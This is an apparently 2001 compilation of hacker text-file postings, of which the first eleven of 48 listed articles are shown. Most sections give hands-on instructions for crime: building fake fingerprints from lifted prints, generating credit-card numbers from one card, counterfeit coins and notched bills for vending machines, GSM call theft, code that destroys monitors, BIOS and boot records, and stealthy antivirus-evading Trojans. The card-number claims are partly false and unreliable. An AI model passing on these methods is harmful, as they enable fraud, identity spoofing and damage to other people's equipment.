Sunteți pe pagina 1din 118

29th May 2001

^^^^^^^^^^^^^
Below is a compilation of postings and white papers from M3DU54 of +44. His
ideas and methodologies are of too higher a quality not to document and for this
reason I took it upon myself to archive the material he has produced. Alot of
this is aimed towards the newbie, although there are also alot of topics that
even the most 31337 of you will find interesting ;-) Hopefully this is only the
start of what he has to offer us, so do watch this space. Please do not remove
this header from the phile.
H||JinX
The biggest shoutz to..
SilverSandStorm
InSaNe
rotary
fish
bloo_void
Mikkkeee
psyber26
Articles as they appear
^^^^^^^^^^^^^^^^^^^^^^^
1. Do you think your elite?
2. What makes a hacker?
3. Cyber Crimes
4. Fake SMS and Caller ID
5. Hacking slot machines?
6. Monitor Frying
7. I keep getting DoSed
8. Credit Carding
9. Credit cards in general
10. Beating fingerprint security
11. Hacking vending machines
12. How to beat infrared Sensors
13. Hacking a game
14. Line Tapping - How do I know I have one?
15. How do I get an IP address from an Email?
16. What do I do if someone is trying to access my computer?
17. How do I protect myself from NETBUS?
18. Cleansing Sub7
19. When the file extension has been taken over by a Trojan within windows
20. How do I password an individual file?
21. Anonymous surfing
22. Proxies - warnings
23. Netstat
24. AIM Sniffers
25. How to social engineer/Trojanise someone
26. C++ and other things
27. Restarting/Shutdown using c, c++ or visual basic.
28. IP addresses within chat rooms
29. Tracing a telephone number from an IP
30. A bandwidth eater
31. How do I enter a win box comp without using a Trojan
32. Searching for exploits in existing code
33. How to break a BSD password file
34. How to: Create unique strains of Trojans
35. Finding Wingates
36. LSP and its role in socket-stealth
37. Beating signature-based antiviral technologies
38. Firewalls
39. Firewall specifics
40. Backdooring the open source boxes
41. Boot sequence of apps within windoze
42. Buffer overflows using images
43. Sending packets over packet switch network
44. Auto-obfuscating code
45. Hiding files on a unix system
46. Avoiding detection
47. Solais Tip Exploit (Remixed)
48. IP spoofing - by rotary.
Total: 54,209 words.
--=[ Do you think your elite? ]=--
It seems the net these days is just FULL of 'elite hackers' ... if we believe
everything we read then as much as 20% of the nets population has elite skills.
There are literally 10000's of 'elite hacker/phreaker' sites out there and every
one is a wannabe.
Time to face some facts ...
o Using a Trojan on a win box does NOT make you a hacker
it makes you a USER ... in the same way that someone that
plays quake isn't automatically a games software programmer.
Please stop deluding yourselves.
o Writing a Trojan does NOT make you a hacker, it makes you
a coder ... and not necessarily a 'leet' one - it isn't a
particularly difficult or challenging project.
o Nukers, Dos, DDos, etc ... doesn't make you a hacker either
it makes you a nuisance, and normally a very easy one to
deal with (Learn about router logs before even trying) and
remember that a real hacker would find a 'rm -r' far more
useful at downing an opponent than packeting.
Disagree? Think that Trojans are '31337' and cDc is the centre of the known
universe? Is your sole ambition to write the next Back Orifice or Sub7 to prove
your 'eliteness' and win some friends?
If you want ANY respect show some initiative.
Write a site, leaving out ALL of the 80's text files, bomb recipes,
multicoloured box plans, sploits that expired years ago and lame third party
Trojans ...
Write a Trojan that uses LSP (Layered Service Provider) technology to sit INSIDE
the TCP/IP protocol stack and therefore get around any firewall ... remember
that your socket should either be ambiguous and steal quoted data from any
socket before passing it back up the chain -or- should at lease intercept
SNMP/MIB socket enumeration requests to filter out the sockets it owns. And if
when you are finished your Trojan is visible to a 'netstat -a', stopped by
firewalls, has an identifiable AV Signature etc or uses one of the 8 common
methods of starting a program on boot ... then you failed.
If you are a 'sploit' user - then remember that the skill is in FINDING and
using exploits ... using a known and published exploit doesn't involve any real
skill and can be a rather stupid way to draw attention to yourself.
Hacking used to mean something, phreaking used to mean something.
I write code that has no signature greater than 3 consecutive bytes in
non-specific locations - I write code that sits as an LSP on the windows TCP/IP
protocol stack - Trojans without sockets or AV profiles that can survive in
tightly screened machines without even firewalls stopping them doing their
thing. Its not difficult, it doesn't even make me feel so 'elite' ... it just
makes me sad that nobody out there gives a rats ass for quality or respect.
I don't publish, because I have nobody to publish for ... I look around at all
the under-average packet/Trojan/script kiddies scrabbling about websites for
the latest tool some above-average lamer wrote in VB rather than getting off
their ass and learning to create the right tool for the job.
As an old analogue cell-phreak I am upset to see that even though the tech is
long dead people STILL haven't moved on. I have yet to find a site that shows
the true vulnerabilities in GSM cellular (Think from the cell tower, not from
the phone)
Can anyone out there do anything for themselves anymore? I went to defcon and
with the exception of a few friends and two new guys I met it seems that
everyone is just the victim of pre-chewed-easy-to-digest ideas, and that stating
you are a hacker loudly is more importantly than actually knowing something.
Sorry if this offends, but it seems like the whole world has gone lame. I throw
the contention open to debate.
--=[ What makes a hacker? ]=--
Hacking isn't something that can be taught, not in a month, or a year, or even
ten years ... its about thinking about a problem in a different way. You either
can, or you can't.
So, as you say - you have some tools, you may even know how to use them, but
that hasn't made you a hacker.
The route to becoming a hacker is a one that I would discourage anyone from
travelling - its a dangerous one and not very glamorous. You need a certain kind
of mentality, a need to do things for yourself, a need to have FIRST HAND
knowledge.
And once you begin its a road without an end, an insatiable desire that can
never be completely fulfilled. Its a consuming need, you never can graduate
because you can never learn enough. There is always more not yet understood.
The tools needed CAN be acquired, but they don't make you a hacker, just
another 'user'
The skills employed by a hacker CAN be acquired over a lifetime of study, but
they don't make you a hacker, just an academic.
Some of us here have devoted our whole lives to get where we are and its NOT
the end of the journey for us, there is still so far to go. Every week themes a
new protocol, or service, or product that needs to be understood to satisfy our
need to know.
Some of us started as children, asking our parents and teachers endless
questions before giving up and finding the answers for ourselves. Branded
'Troublemakers' or 'Disruptive children' because our need to know WHY didn't
fit well with the authoritative adults unable to understand or answer.
We are the children that destroyed endless telephones, electronic games, remote
controls, everything we didn't understand - risking all the trouble it would
bring because we NEEDED to know, we NEEDED to understand and NOBODY was able to
explain it to us.
And here we are now, many years have passed but we are no different - we don't
know HOW to be different, branded 'hackers' or 'criminals' because we are
adults and the authoritative figures that cant contain us or suppress our need
to learn are now worried, fear us because we know things, things that general
society never took the time to understand.
Don't you see that there is no route to becoming a hacker other than birthright?

You either ARE a hacker or you are not ... You were either born with an
over-inquisitive mind and an intense NEED to know, or you were not.
It can't be taught or learned, there is no user-manual, and even if there were,
we wouldn't read it because we never do.
You asked us to teach you 'how to hack' and by asking us you demonstrate that
you are different from us ... You are looking for the easy path, sit back and
have pre-chewed, pre-digested information fed to you in a way you are used to,
a way that is comfortable for you.
The truth tastes so much better when you bite it off for yourself - try it and
you'll see. Reading a manual will only ever show you what it SHOULD do, never
what it CAN do.
There is a difference between us ...
You wish to become a hacker!
For some of us there was no choice.
So, don't ask 'can you become a hacker' ... ask yourself if you already are!
Because its not through knowledge, or stored information that you achieve power.
It's through your ability to think for yourself.
--=[ Cyber Crimes ]=--
Yup, many real-life crimes have electronic equivalents. In fact most electronic
law is built on exactly the same basic principles.
Theft, Fraud, Deception, Vandalism - all have online equivalents.
The difference is that previously there had to be a physical component to these
acts. I.e.: Fraud required what is known as a 'fraudulent instrument' - Say a
faked signature, or document or similarly tangible item.
INALB ...
The important change is that data is now considered as a tangible item for the
purposes of maintaining law and order - I.e., it can be stolen/destroyed/etc...
The old arguments of whether it actually really existed as a solid form or
whether its possible to steal an abstract thing that exists only as electrons
on a wire or patterns of magnetism on a disk have been settled by the
recognition of data as an own able 'thing'
The second important change is in the meaning of the word 'trespass', formally
it was only possible to trespass if you had gone somewhere - now the term has
expanded to encompass the electronic visiting of places that only exist and have
boundaries in an abstract sense. This is the recognition of abstract boundaries.
And I guess the final is the acceptance of electronic documents as actual
documents. Prior to this copying a book and sending it electronically was not
considered copying and therefore not copyright theft as the document was not
considered real, of course now electronic documents can even constitute a legal
and binding contract in many countries.
There are many documents available on this subject, and a wealth of information
online, but remember to check that it pertains to your particular country,
Probably the best source is your governments own publications or statements of
law which are available free (Or at little cost) from your local library or
government stationers (Most countries have these in all major towns) - or maybe
even online.
I only really know English law on these matters, but its important to remember
that since the internet spans the globe the unavoidable international aspect of
such crimes can quickly make an otherwise minor offence into a much greater one.
--=[ Fake SMS and Caller ID ]=--
Well, for landlines here in the UK you have REMOBS numbers for your exchange ...
these allow you to monitor line conditions and on suitably equipped exchanges
you can also monitor line audio (with valid OUC and BCS code for that area)
These numbers are hard to find and change regularly. Using the engineer
functions of a remob it is possible to fake the CLIP (Calling Line
Identification Presentation) however I am sure these lines are logged and/or
occasionally monitored. However, they only affect landlines within their
immediate exchange area.
With the analog cellular it would have simply been a matter of getting into the
same (or adjoining) cell as the intended source phone and use a Motorola 4800AX
cellular and a suitable scanner linked to a laptop running snarfer software to
analyse and capture the persons ESN by waiting for their particular MIN to
initiate on the towers paging freq.
This was real easy ... once you have the MIN (Mobile Identification Number)
which is very similar to their phone number apart from the prefix and you also
had their ESN (Electronic Serial Number) you could then use a programming cable
to make your analog phone into a clone of theirs - or - If you were lucky enough
to have the infamous NEC P3 with mod-chip you could flash the battery pack and
enter the ESN/MIN pair directly at the handset and start making calls off their
phone.
*sigh*
Those were the days ... hey, any of you US people remember/owned a chipped
OKI900 ?
Now ... GSM is different, it seems like a bitch to crack from the users end
(and that's because it *IS*) ... however, if you can pretend to be a cell tower
there are big flaws in the challenge that allow you to steal outgoing calls from
the target, or, with a few weeks cracking you can break the encryption on their
challenge. This works because you get the opportunity to force conditions that
would normally not exist under normal operation. These conditions limit the
possibilities and allow nice easy cracking by using known weak seed values and
listening for the authentication response to them.
This, unfortunately requires equipment in the order of 2000 and a lot of skill
in electronics and preferably some ham-radio experience as you have to make some
rather dramatic modifications to a ham rig and a suitable scanner which are
bound to whack them out of alignment.
You don't need a great deal of power as long as you can get near the mark ...
all you need is to be louder than his nearest legitimate tower (Not too hard
unless he lives within 100m of it - that happened to me once, the fucker was
about 30m from the tower and I had to follow him to work to catch his call
attempts)
A small clean linear amplifier will normally do the job nicely, but again - the
frequency is a real bitch to get amped using an out-the-box solution, so more
tampering is called for.
Unfortunately I don't know where you will find any published data on this as its
all very much under wraps and those that know are unlikely to share since it
would be comparatively easy and reasonably cost-effective for the cell company
to prevent this type of attack if it became common.
Another thing you may be able to try is their provider ... A friend of mine in
the UK has a vendor provided Web-Interface for his SMS that he can actually
login to in order to place SMS with his own CLIP/CallerID, or use anonymously
to send normal web->SMS.
If not then the only methods left would be messy ones ...
- clone the 'senders' SIMM card (Not as easy as it sounds, but okay if you have
access to the tools)
- steal/swap the 'senders' SIMM card for a day and hope it doesn't have a PIN
on init.
- just use the phone when he isn't looking.
Sorry, but there isn't a decent way to do this unless you are prepared to set up
a GSM auth-snarfing/cracking station and you have the money and the electronics
skills to modify an expensive rig, and the time to wait for the auth packet to
crack so that you can either burn it to SIMM or set the phones firmware to read
private data from a remapped image in the public area of the SIMM. It's all way
too nasty, I've blown more equipment than I want to think about working on that
@!#$.
I don't think any of that helped ... but NM
If you manage to get the job done, post and let us know :)
--=[ Hacking slot machines ]=--
Okay, this has been going on since the early days when a certain 1-12 win
machine with the big round buttons were revealed to have a sequence backdoor to
assist bar-staff to empty a machine slowly over the course of a day should they
need change. Obviously opening a fruit machine and taking out the cashbox isn't
a good idea in a busy bar.
Then a technique for mangling the credit collection mech was developed that used
RF ... The short 'antenna' was placed against the metal fascia of the coinslot
(if not grounded) ... or inserted into the slot to make contact with metal
within the mech ... the idea wasn't a delicate one - just buzz the electronics
till the counter got scrambled and the start light lit - then play for free with
anywhere from 1 - 9999(some arbitrary upper limit) credits. The inspiration for
this was the common use of electronic ignitions from lighters to crudely upset
credit electronics in old units.
Since then people have been selling these devices as jackpotters for anywhere
from $100 to $3000 (Super sophisticated long range jackpotters - LOL)
THEY DONT WORK!
You may find a machine that can still be credit-mangled ... but most use a check
sum now to detect the mangled memory location and will immediately reset the
credit counter to zero. Also almost everything is grounded now (Unlike the old
wood-cased ones)
More often than not this is a total scam and you wont even receive the hardware
... they figure that you ain't gonna go to the police since it would involve
explaining why the hell you wanted to purchase a jackpotting device in the first
place.
Don't fall for it - its dumb.
--=[ Monitor Frying ]=--
A good trick is to randomly set/reset the synch from ASM, you can occasionally
get spurious ranges way in excess of the cards normal outputs this way and the
monitor often cant resolve the rate properly because its not a constant
frequency, I have heard of many monitors blown this way - but normally they
just scream like hell (literally, you can hear them) however, using this
approach it is more likely you will blow the card.
Digital monitors are the best, because they sit there trying to see if the sync
is in range, but they cant resolve it, and while they are trying the thing
fries.
Remember, a high frequency is an expected environmental condition, however, a
warbling frequency isn't and is more likely to have effect ... use this is one
of the latter payloads in a suite that includes running as many bios-flashing
sequences as you can DL using garbage files as the update image.
Also writing a crash-loop into the MBR's on all drives as a final measure (Like
a dynamic drive overlay, but just consuming all processor cycles) will make all
drives crash the machine immediately after the POST (Power-on self-test) This
is nasty because they crash the machine even when they are NOT the boot drive,
thus making mounting very tricky indeed : ) ... its easy to say 'just use
fdisk /mbr' but how when, with the drive installed, you cant even boot the
machine from floppy.
Play around, see what you can get.
Anyone got any novel ways that code can/has damage or permanently disable
hardware? Please post, could be quiet a fun thread.
Reminds me of certain badly thought-out jumperless motherboards where you don't
need to set a jumper to flash upgrade the bios ... you just set a bit in the
cmos and then bewm, bye bye motherboard. : )
--=[ I keep getting DoSed! ]=--
Once nslookup (Or your firewall) gives you the hostname ... you should then go
check the ISP's details. For a .net, .com or .org this is quite straightforward.
Lets say you got ... blah.mn.mediaone.net
Go to ... http://www.networksolutions.com
and, once there, click on the 'whois' link in the top right of the page.
Enter 'mediaone.net' and click [SEARCH]
You will get something like the following ...
-- 8< PASTE ----------------------------------------------
Registrant:
Media 1 (MEDIAONE2-DOM)
High Speed Data
9785 Maroon Circle
Suite 420
Englewood, CO 80138
US
Domain Name: MEDIAONE.NET
Administrative Contact, Technical Contact, Billing Contact:
MediaOne Abuse Department (MA868-ORG) abuse@MEDIAONE.NET
MediaOne High Speed Data
9785 Maroon Circle
Suite 420
Englewood, CO 80138
USA
800-871-6298 Fax- 303-792-4774
Record last updated on 18-Jul-2000.
Record expires on 07-Jan-2001.
Record created on 06-Jan-1996.
Database last updated on 3-Dec-2000 04:57:26 EST.
Domain servers in listed order:
NS1.MEDIAONE.NET 24.128.1.80
NS2.MEDIAONE.NET 24.128.1.81
NS1.MW.MEDIAONE.NET 24.131.1.8
-- 8< END PASTE ------------------------------------------
Notice the Administrative contact has a telephone number ?
If you call +1(800)871-6298 you can talk to his administrator and they may be
able to confirm the attack WHILE he's doing it, and disconnect his account for
violating the AUP (Or at least send him an Email threatening this)
Also notice the line that says ...
MediaOne Abuse Department (MA868-ORG) abuse@MEDIAONE.NET
This indicates that any complaints can be mailed to abuse@MEDIAONE.NET.
Remember to be polite and give as much information as you can, including times,
days, PARTIAL firewall logs, and your own IP.
(If you are unsure of your IP drop to an MSDos box and type 'ipconfig')
If they say that there is nothing they can do remind them that denial of
service is a crime and that you have suffered a quantifiable loss as a result of
these attacks, politely inform them that you will be contacting your lawyers
with a view to commencing a civil action against their client for punitive
damages, and that it is their legal obligation to ensure that, once informed,
these attacks are not allowed to persist. (This often motivates them)
Be polite,
Be confident,
Contact your own ISP too.
--=[ Credit Carding ]=--
Firstly, of course its concept ... everything is concept ... (Especially when I
am not shielding my true IP)
secondly, I didn't mean random credit cards quite that literally - I meant
random 'real' credit cards, whether those 'reals' are known, or extrapolated
within 50.
> 1. One will need to try a HUGE number of combinations
> even assuming you keep the bank code constant.
Although if you are talking about extrapolation you shouldn't be changing much
anyway, and if you're talking about pure brute force then you are not being
very efficient.
Hell, I *could* start with a valid CC obtained by forcing and answering machine
(Or even using my own) ... and in my head I could make every other card in the
sequence and they are about 90% all valid)
if you know how to add and subtract the numbers 1 and 2 you own every credit
card for at least a thousand up and a thousand down from the one you're staring
at - and its so easy you can train a monkey to do it ;) A child could do it.
CC's are too easy.
We all know the magic number is 4 1/2 - *grin* - Shhhh
> 2. Most sites use https (SSL) for their signup
> page...its quite a complicated protocol. --->
Doesnt make any difference to the web interface
nor does it make a difference to anything involving the supplying of acceptable
details, I don't see why https would be a problem at all :)
> BTW, do you have any experience with https ?
> Just curious, I'm exploring it myself.
Yup
> 3. BIGGEST PROBLEM - seeing the post, I SERIOUSLY
> doubt he has the capability to do it himself.
Like I say, A monkey can do it :)
say your moms card ends in 2302 ...
2302 *** Don't hit your moms card ***
2310 All of these card endings are totally
2328 valid and issued in the same week as
2336 the first - hence they have the same
2344 month of expiry - So when, say, your
235(?)phone co stops taking one, CC++ heh
...
can you guess the '?' ... btw Its *NOT* 2
(Left as an exercise for the individual)
And more importantly, can you say WHY (That
caught the people running for their favourite
extrapolators) hehehe
But remember folks, using CC is something ever hacker should know ... but using
it *doesn't* make you a hacker, it makes you a criminal :)
Its not 2 simply because 2 wouldn't be a valid card number :)
nope, not 0 either, heh.
*grin*
Its 1
There is a really simple rule for doing credit card extrapolations in your head
... maybe this should be the subject of another of my boring infoposts.
Forget all the rubbish about trashing for receipts and carbons or hacking pay
sites for lists. The truth is, with only one card number you can live for a
lifetime, and that original card number can be your own, a friends, your moms
or even one that was recently been cancelled. Get ONE card number and you own
the bank :) You will *never* need to find another one.
Stupidly, they are issued in sequence, they can be reverse referenced and the
encoding in them was never designed to make them secure, it was only designed
to help avoid 'input error'.
And meanwhile, in the back streets of your town, there are still stupid
individuals bashing people on the head and stealing their wallets for their
cards ... knowing that within an hour that card will be reported stolen. Then
the lamers go into a store and pose for a freakin camera. They get caught and
society wakes up one moron lighter.
They get on TV in a real crime special telling us all why we should be careful
of our receipts and carbons.
And the bank just nods solemnly :)
It's all very silly, you don't need any of these things.
You don't need to leave your own house. And all the rubbish about needing the
name and address, and only delivering to the cardholders home? ... *YAWN*
But the banks are the ones people should get angry with, cards have been around
since the dawn of time and are basically a set of accounts issued in sequence
with a one digit password that can be calculated by a 5 year old.
From a number you can get the billing details very simply (not that you need
them). And since the numbers are issued in sequence with no protection ... well
... you go figure it out.
The problem is its almost impossible to have an objective debate about the
truth of professional card fraud as it always attracts losers, lamers and
criminals and just deteriorates into a 'How can I steal peoples money' thing.
--=[ Credit cards in general ]=--
Say your card was a 13 digit visa(gold) number 4929 123 321 111 exp 09/03 (Not
a valid card)
That breaks down into BBBB nnn nnn nn X
Where:
BBBB = A code for the bank of origin and card type
nnn nnn nn = the number of the account (Ordered in sequence from 000 000 00
to 999 999 99)
X = A calculated 'pin' that was never designed for security but instead guarded
against mis-keying at the operator console.
The following card endings are also available:
03 4
04 6
05 3
06 1
07 9
08 7
09 5
10 3
11 1 <- your card
12 9
13 7
14 5
15 2
16 0
17 8
18 6
19 5
in fact, a monkey could be trained to extrapolate 1000's of cards from one
known card. So, does it really matter how careful you are with yours?
All a fraudster needs is ONE valid card ... and he automatically has every card
the bank has ever issued, and the exp. dates are all the same ... when he is
counting upwards and they suddenly stop being valid, he simply adds one to the
expiry month and keeps going ...
In fact, that first card could even be his own ... or a one issued 10 years ago
- he just asks the bank how long his card will be valid for if he applies for
one, and then adds that value in increments till it is more than the current
year - then he can assume that's the new expiry for all the cards of that range
still in use.
Want to know another stupid fact? If you CANT do simple +1 -1 +2 and -2
arithmetic, its even easier to do the following ... swap any of the numbers in
the ODD slots around (Keep it towards the end of the card number if possible)
and BOOM, a valid card.
Or, swap the evens ....
So, if your card was a 4929 (Barclaycard visa) number 2481 2356 2873
the odd numbered sequence is 2-8- 2-5- 2-7
And the even sequence is -4-1 -3-6 -8-3
swap the 8 and 3 at the end of the even sequence = NEW VALID CARD
swap the 5 and 7 of the odd sequence = ANOTHER VALID CARD
swap the even 8,3 and 6 around = NEW VALID CARD
swap the 8 and 3 (evens) and the 5 and 7 (odds) around ... guess what,
yup = NEW VALID SEQUENCE
There are about 40 techniques for turning one card (Even a dead one) into
thousands of valid cards with the same expiry data ... so, you will never be
safe ... and when the number strays too high and the expiry check fails ... add
one to the month, because they are numbered in sequence of issue.
Lets face it ...
A credit card is simply described as a number, issued in sequence 1,2,3,4,5 etc
... which (If known) gives access to your funds as long as you know the last
digit (in effect a ONE DIGIT PASSWORD)
Would you put your money in a bank where all of the accounts were numbered from
1 to 1,000,000+ with NO gaps, protected with a ONE digit password, No passbook
was required if you quote the account number in pin ... and to top it all off,
the pin number is calculable by anyone that knows simple addition and
subtraction of the numbers 1 and 2. Oh, even better ... your money can be
obtained by anyone that knows the number from any country and while hiding
behind the anonymity of a payphone.
Hell, a pre-schooler could be taught this stuff ... So, trust me on this, your
money isn't safe even if you put that card in your ashtray and melt it right
now.
And, when you finally get ripped off, your bank will insist that you must have
given your card number to someone, and will make you responsible for at least
the first 50.oo (UK Banks only)
Online banking is similarly ridiculously protected.
And do you think the banks care? Security isn't their concern ... the ILLUSION
of security is all that matters. And, when inevitably accounts get raped openly
they just feed you crap about 'You must have thrown away a receipt or given
your number to an unscrupulous dealer' and then, they levy the loss back at the
customer in the form of bank charges.
Your money isn't safe in plastic, its not safe at all - and the guarantees about
refunding you only hold up if you can 'prove' you were an unwitting victim and
didn't willingly reveal your card details unwisely ... well? can you?
Back in my childhood I thought nothing of ripping about 200 CC's per week
setting up and selling international call facilities to the Asians living in
the west end of my hometown ... word spreads, and although a card generally
closes within the month the ripped phone cards would continue to bill for about
3, and still I was turning over about 200 CC's per week without ever needing
an original number or seeing any real plastic.
Even getting goods is simple (Even where they say they will only deliver to the
cardholders registered home address) For a wide-eyed 14yr old with questionable
ethics it was almost irresistible.
The point of the whole thing isn't whether you are statistically likely to
become a victim, the point is that such a stupid and almost criminally
negligent system has never evolved in any way since its conception as an
internal only system.
I brought up a method whereby credit card fraud could be almost stamped out over
night without any change to the cards or the reading equipment or the way in
which such cards are used ... it required minimal (Less than $20,000 US to
implement) Was it taken up? nope! Its a shame really because the idea was worth
potentially billions to the bank that first implemented it, not in increased
revenue, but certainly in consumers market share. It also had potential for some
very productive alliances with other key IT players that would benefit all - A
hell of an opportunity for the first man in ... bah!
Makes me wonder what kind of morons actually make these procedural security
decisions in financial institutions.
Lets face it ... credit cards are a complete joke, even getting the name and
address for an existing number is a cinch ... Clearing house automatic payments
system (eu. CHAPS) is so simple its almost criminal ... and the open interface
on online banking is a little silly. The whole industry should have had a real
big rethink before it even dared to step out of the 60's.
For an investment of less than $20,000 a card provider can secure their cards
almost completely, and after a 6 months term could afford to drop their
interest rates by 2/3 (Although they obviously wouldn't) ... they would also
get huge market share.
Very simple idea ... no change to the card, the reading equipment, the manner
in which they are used ... in fact, very little change at all - I could do it
right now for free, and if I was a bank I could even get a different company to
put up all the collateral as part of a working partnership because its so damn
juicy.
I have approached banks with a full plan and projection on this, and they
shelved it ... I now have the idea held under legal protection until such time
as they actually give a damn. I am meeting the CEO of a second international
bank sometime this month to month make a presentation and this time I will
actually be demonstrating the idea in a working mock-up.
For financiers these people are stupid, short-sighted and incredibly afraid of
change. You have to go carefully with them.

Cards are VERY insecure and the internet isn't the real problem - It just
enables individuals to look corporate and gain trust without visible assets or
even company status. The bank will normally refund all loss over a certain
amount providing you can prove that you never received the goods or services
(Often a very difficult thing to do)
Online Banking
Online banking hasn't done enough to ensure integrity - and currently almost
all banks impose UNLIMITED liability, so you would be liable for all losses up
to the point you inform them of fraudulent transactions (Probably after you
notice almost all your money is gone) Most online banking loss would be the
result of a Trojan that revealed your pass code and details and allowed the
hacker to remove funds using your OWN machine's IP making any trace point right
back at the customer (Thus alleviating the bank of any requirement to
renumerate the customer)
Final Word
Both online banking and credit cards are DAMN useful these days, it is up to
each person to individually assess the risk -v- the benefits and make a
personal choice between great flexibility and security concerns.
--=[ Beating fingerprint security ]=--
Another long post, but this one is really good fun :) Want to leave someone's
fingerprints at the scene of a crime? Want to get past their dumb fingerprint
scanner ? Want to apply for an ID card without giving them your real
thumbprint ? Going to a police station to turn yourself in for a minor crime ?
SECRET SQUIRREL SAYS - CHANGE YOUR DABS !
Need to leave the country in an emergency? Read the additional 'emergency
travel news' at the foot of this post :)
[Beating Fingerprint Security]
This doesn't just relate to fingerprint security for access verification
systems, it's also possibly a problem in criminal investigation and I'd
particularly like more input on the latter.
Also, fingerprint/retinal verification is a method currently being looked at
very seriously for use in new generation ATM machines, in tests people were
unsure of retinal scanning, and retinal scans also proved to be less reliable
and prone to false rejection.
Fingerprint access is also being used within some companies to avoid easy to
remember passwords, I myself know of one server where the console is protected
by one of these fingerprint devices.
If I told you that you can use a circuit board to beat any fingerprint based
authentication technology you would probably call me crazy, but that's
precisely what I'm about to tell you.
How unique is your fingerprint
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
It isn't! Its not unique at all ... and its getting less unique
all the time! Why?
Well, although the pattern of ridges on your fingers/palms are fairly unique to
you, this ISNT your fingerprint
As you know ... your fingerprint is what's left behind as a greasy pattern of
sweat whenever you touch something ... there are probably over a 1000 copies of
you fingerprint in the room you are in right now, and maybe 100 of them are
clear. What's worse ... everywhere you go you leave more of them.
And where are we likely to find the really good ones? Well - Right in the
middle of that little smooth window of your fingerprint access device ... Also
your monitor ... and look how you hold your mouse ... your index finger is on
the button and your thumb is resting squarely on the left side of the mouse.
Your fingerprint isn't unique - its probably the one thing about you that you
leave just about everywhere you go.
lets dust it and take a copy onto a clear adhesive film or a pure sticky tape
(Not the yellow-tinted stuff) :)
Then stick the tape to a white surface and scan the fingerprint into your
computer. Load it into your favourite graphics program and use the
contrast/brightness tool to get it as sharp and bold as you can.
Now, inverse the whole thing so that its a white print on a black background
(Kinda like an x-ray) and put a black 'F' in the top left corner, close, but
out of the way of your 1" x 1" black square with white fingerprint.
Now print it out onto clear acetate (You can get clear acetate for your printer
in small packs, typically 25 sheets, from your stationary supply store)
You now have a wonderfully clear, bold fingerprint on a transparent acetate :)
And the F in the upper left corner reminds you which way round the fingerprint
goes :)
Creating the print
~~~~~~~~~~~~~~~~~~
How many of you know about electronics? Do you know how a printed circuit
board is made?
There are a few methods, but the one we are interested uses a thing called a
'photosensitive coated copper clad board' and it has three important layers ...
------------- - photosensitive acid-resistant coating
------------- - Thin layer of copper
XXXXXXXXXXXXX - Tough non conductive board
Now, the top layer dissolves when it is exposed to UV light which is why the
thing is supplied in a light proof sleeve.
Now, in subdued or artificial lighting (Doesn't have to be black, this isn't
photography) place the fingerprint over the board so that it makes a good
contact all over ...
Then shine a black light (UV light) at it for the amount of exposure time
suggested by the manufacturer.
The black areas of the fingerprint stop the UV light from dissolving the top
layer in those places, and the clear areas let the light through (Thus creating
a gap in the top layer)
- -- -- -- -- - coating (With fingerprint missing)
------------- - Thin layer of copper
XXXXXXXXXXXXX - Tough non conductive board
Take off our printed acetate, we don't need it now :)
Now we drop the board into a solution of ferric chloride (Don't worry - you
don't need to be a chemist, you can buy a small bag of ferric chloride crystals
from your local electronics store where you bought the board) ... just mix them
with warm water as it says on the box :)
keep agitating the box to make sure the board gets a good old soak ... watch
for the fingerprint developing as areas of missing copper :)
Lift the board up and shake it, make sure it is all done ... if you leave it in
too long it will dissolve all the copper, if you don't leave it long enough it
wont dissolve the whole fingerprint.
Run the board under clean water will all the ferric is washed off it.
now you have ...
- -- -- -- -- - coating (With fingerprint missing)
- -- -- -- -- - copper (With fingerprint missing)
XXXXXXXXXXXXX - Tough non conductive board
... A lovely copper reverse-impression of somebody's fingerprint. And it looks
quite pretty too :)
Using your new finger ...
~~~~~~~~~~~~~~~~~~~~~~~~~
Get some *clear* liquid latex or clear rubber-glue and THINLY coat the copper
plate, when it dries, peel it off to get your nice new fingerprint.
Place a thin layer of rubber-adhesive on your finger and affix the fingerprint.
It should take on the colour of your skin perfectly (you could also just but it
in your pocket, no need to affix it)
To use it remember that you have to oil it ... use WD40 oil ... pour it on,
leave it, pat it dry - it will stay greasy enough to leave a print for quite a
long time :)
Or, just breath heavily on it when you want to fool the fingerprinting device.
If you take care affixing your new prints they will even pass very close
inspection, remember that thin is best :)
Palm prints are possible too, but due to wrinkling need to be SO thin it
becomes quite a skill in itself. Get practising now, you never know when it
could come in handy.


-- 8< EMERGENCY TRAVEL NEWS ------------------
Remember, if you ever have to travel with your head in bandages your thumbprint
will verify your identity against a travel document such as a passport. (But
remember to use a neck brace and an arm in plaster and supported. Also, be in
a wheelchair, it helps)
Try this wearing a fake of your OWN thumbprint and passport, and see how easy it
is to travel without showing your face ... once you are confident that it can
be done without risk you will achieve the peace of mind of knowing that you can
escape the country at any time should your passport be revoked, or a warrant
exist for your capture.
-- 8< END EMERGENCY TRAVEL NEWS --------------
Before you ask, yes - this is a fun post, it *does* work very well but its not
serious. And the thing about travel you would have to be a real fool to even
attempt (Although there's no reason why it wouldn't work if the owner of the
passport you were travelling on was the right height, build and eye colour)
If you want to try it out remember that any visible parts of your face cheek,
eyes should be lightly burn-scarred, liquid latex rubbed to break it causes
beautiful skin peeling and Vaseline injected under the latex layer causes the
most amazing blistering you ever saw (My mom worked as a casualty-simulation
technician for a Health and Safety Executive approved A&E training provider)
I should try it out (Legally on my own PP) take a pic and post back here,
Muahahaha,
But the stuff about taking latex fingerprints off the fingerprint scanner
works like a dream:)
--=[ Hacking vending machines ]=--
Well, I suggest forgetting the 'salting' idea. That's where you make a
supersaturated salt solution in a squirt bottle and squirt it firmly into the
coin slot, this worked on a lot of older coke and cigarette machines, but on
modern machines is more likely just to fuck it up :) (DoS for vend's, heh)
The obvious approach is to buy a large bag of steel washers from a hardware
outlet (Wholesale not retail) if you buy a supply bag of about 10000 they come
in at fractions of a penny each.
You may have to experiment or hunt around for the correct diameters ... and
try to get ones where the central bore is real small.
Hear in the UK there are 1 and 2 coins that can be made from two imperial
(not metric) washers glued with a conductive bond (Forget solder though ...
cold solder or conductive paints/bonds from electrical supply stores are ideal)
Some machines require the centre filled for weight and conductivity ... Ideally
I suggest filling with cold-flow-solder but if not, use compressed tinfoil
crushed flush. Other machines register 2 coins of same value if you leave the
hole open. As always, experiment.
Another method exists for scanning machines that take bills, but you really
need to know your machines and how to identify the kind of transport they use
(Luckily there are only three major transports). first there is the notch
methods where a notch placed at a certain point in the bill will fool the
machine into thinking its sucked in the tail end of the bill already, when in
fact it is still sticking out ... to alternative notch methods that cause the
same bill to be registered more than once.
